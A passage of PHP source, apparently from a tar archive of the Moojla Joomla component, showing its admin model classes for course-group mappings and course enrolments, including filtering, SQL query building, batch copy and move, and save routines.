}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
/**
* Method to change the title
*
* @param string $title The title.
*
* @return array Contains the modified title and alias.
*
*/
protected function _generateNewTitle($title)
{
// Alter the title
$table = $this->getTable();
while ($table->load(array('title' => $title)))
{
$title = StringHelper::increment($title);
}
return $title;
}
}
models/course_group_maps.php000064400000026765151165724400012321
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_group_maps.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Course_group_maps Model
*/
class MoojlaModelCourse_group_maps extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'a.role','role',
'g.fullname','moojlacourse',
'h.title','course_group'
);
}
parent::__construct($config);
}
/***[JCBGUI.admin_view.php_model_list.135.$$$$]***/
public function group_users($group_id)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('count(*) as num_of_group_users');
$query->from($db->quoteName('#__user_usergroup_map',
'ugm'));
$query->where($db->quoteName('ugm.group_id').'='.$db->quote($group_id));
$db->setQuery($query);
$result = $db->loadObject();
return "<span style='background: #43a4c1;color:
#fff;border-radius: 9px;padding: 2px
9px'>{$result->num_of_group_users}
".JText::_('COM_MOOJLA_GROUP_USERS')."</span>";
}
public function group_courses($group_id, $course_id)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('id');
$query->from($db->quoteName('#__moojla_course_group_map',
'mgm'));
$query->where($db->quoteName('mgm.course_group').'='.$db->quote($group_id));
$db->setQuery($query);
$results = $db->loadObjectList();
if (count($results) > 1)
{
$html= jtext::_('COM_MOOJLA_GROUP_TOTAL_COURSES')."
<span style='background: #f20d38;color: #fff;border-radius:
9px;padding: 2px 9px'>".count($results)."</span>
".jtext::_('COM_MOOJLA_ROW_ID');
foreach ($results as $result) {
$html .= "<span style='background: #48a835;color:
#fff;border-radius: 9px;padding: 2px
9px'>{$result->id}</span> ";
}
return $html;
}
}/***[/JCBGUI$$$$]***/
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$role = $this->getUserStateFromRequest($this->context .
'.filter.role', 'filter_role');
if ($formSubmited)
{
$role = $app->input->post->get('role');
$this->setState('filter.role', $role);
}
$moojlacourse = $this->getUserStateFromRequest($this->context .
'.filter.moojlacourse', 'filter_moojlacourse');
if ($formSubmited)
{
$moojlacourse =
$app->input->post->get('moojlacourse');
$this->setState('filter.moojlacourse', $moojlacourse);
}
$course_group = $this->getUserStateFromRequest($this->context .
'.filter.course_group', 'filter_course_group');
if ($formSubmited)
{
$course_group =
$app->input->post->get('course_group');
$this->setState('filter.course_group', $course_group);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
// set selection value to a translatable value
if (MoojlaHelper::checkArray($items))
{
foreach ($items as $nr => &$item)
{
// convert role
$item->role = $this->selectionTranslation($item->role,
'role');
}
}
// return items
return $items;
}
/**
* Method to convert selection values to translatable string.
*
* @return translatable string
*/
public function selectionTranslation($value,$name)
{
// Array of role language strings
if ($name === 'role')
{
$roleArray = array(
0 => 'COM_MOOJLA_COURSE_GROUP_MAP_SELECT_ROLE',
5 => 'COM_MOOJLA_COURSE_GROUP_MAP_STUDENT',
3 => 'COM_MOOJLA_COURSE_GROUP_MAP_TEACHER',
1 => 'COM_MOOJLA_COURSE_GROUP_MAP_MANAGER'
);
// Now check if value is found in this array
if (isset($roleArray[$value]) &&
MoojlaHelper::checkString($roleArray[$value]))
{
return $roleArray[$value];
}
}
return $value;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_course_group_map',
'a'));
// From the moojla_course table.
$query->select($db->quoteName('g.fullname','moojlacourse_fullname'));
$query->join('LEFT',
$db->quoteName('#__moojla_course', 'g') . ' ON
(' . $db->quoteName('a.moojlacourse') . ' = ' .
$db->quoteName('g.remoteid') . ')');
// From the usergroups table.
$query->select($db->quoteName('h.title','course_group_title'));
$query->join('LEFT',
$db->quoteName('#__usergroups', 'h') . ' ON
(' . $db->quoteName('a.course_group') . ' = ' .
$db->quoteName('h.id') . ')');
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.moojlacourse LIKE '.$search.' OR
g.fullname LIKE '.$search.' OR a.course_group LIKE
'.$search.' OR h.title LIKE '.$search.')');
}
}
// Filter by Role.
$_role = $this->getState('filter.role');
if (is_numeric($_role))
{
if (is_float($_role))
{
$query->where('a.role = ' . (float) $_role);
}
else
{
$query->where('a.role = ' . (int) $_role);
}
}
elseif (MoojlaHelper::checkString($_role))
{
$query->where('a.role = ' .
$db->quote($db->escape($_role)));
}
elseif (MoojlaHelper::checkArray($_role))
{
// Secure the array for the query
$_role = array_map( function ($val) use(&$db) {
if (is_numeric($val))
{
if (is_float($val))
{
return (float) $val;
}
else
{
return (int) $val;
}
}
elseif (MoojlaHelper::checkString($val))
{
return $db->quote($db->escape($val));
}
}, $_role);
// Filter by the Role Array.
$query->where('a.role IN (' . implode(',',
$_role) . ')');
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
// Check if the value is an array
$_role = $this->getState('filter.role');
if (MoojlaHelper::checkArray($_role))
{
$id .= ':' . implode(':', $_role);
}
// Check if this is only an number or string
elseif (is_numeric($_role)
|| MoojlaHelper::checkString($_role))
{
$id .= ':' . $_role;
}
$id .= ':' .
$this->getState('filter.moojlacourse');
$id .= ':' .
$this->getState('filter.course_group');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_course_group_map'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_course_group_map'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/enrolment.php000064400000051145151165724400010556 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage enrolment.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Enrolment Model
*/
class MoojlaModelEnrolment extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'moojlacourse',
'role'
),
'right' => array(
'jid',
'enrolldate'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.enrolment';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'enrolment', $prefix =
'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.enrolment',
'enrolment', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.enrolment.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/enrolment.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.enrolment.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.enrolment.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.enrolment.'. ((int) isset($data[$key]) ? $data[$key]
: 0)) or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_enrolment'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.enrolment.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.enrolment', $data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return false;
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo = MoojlaHelper::getActions('enrolment');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('enrolment');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('enrolment');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
}
models/enrolments.php000064400000023055151165724400010740 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage enrolments.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Enrolments Model
*/
class MoojlaModelEnrolments extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'a.role','role',
'g.fullname','moojlacourse',
'h.name','jid',
'a.enrolldate','enrolldate'
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$role = $this->getUserStateFromRequest($this->context .
'.filter.role', 'filter_role');
if ($formSubmited)
{
$role = $app->input->post->get('role');
$this->setState('filter.role', $role);
}
$moojlacourse = $this->getUserStateFromRequest($this->context .
'.filter.moojlacourse', 'filter_moojlacourse');
if ($formSubmited)
{
$moojlacourse =
$app->input->post->get('moojlacourse');
$this->setState('filter.moojlacourse', $moojlacourse);
}
$jid = $this->getUserStateFromRequest($this->context .
'.filter.jid', 'filter_jid');
if ($formSubmited)
{
$jid = $app->input->post->get('jid');
$this->setState('filter.jid', $jid);
}
$enrolldate = $this->getUserStateFromRequest($this->context .
'.filter.enrolldate', 'filter_enrolldate');
if ($formSubmited)
{
$enrolldate = $app->input->post->get('enrolldate');
$this->setState('filter.enrolldate', $enrolldate);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
// set selection value to a translatable value
if (MoojlaHelper::checkArray($items))
{
foreach ($items as $nr => &$item)
{
// convert role
$item->role = $this->selectionTranslation($item->role,
'role');
}
}
// return items
return $items;
}
/**
* Method to convert selection values to translatable string.
*
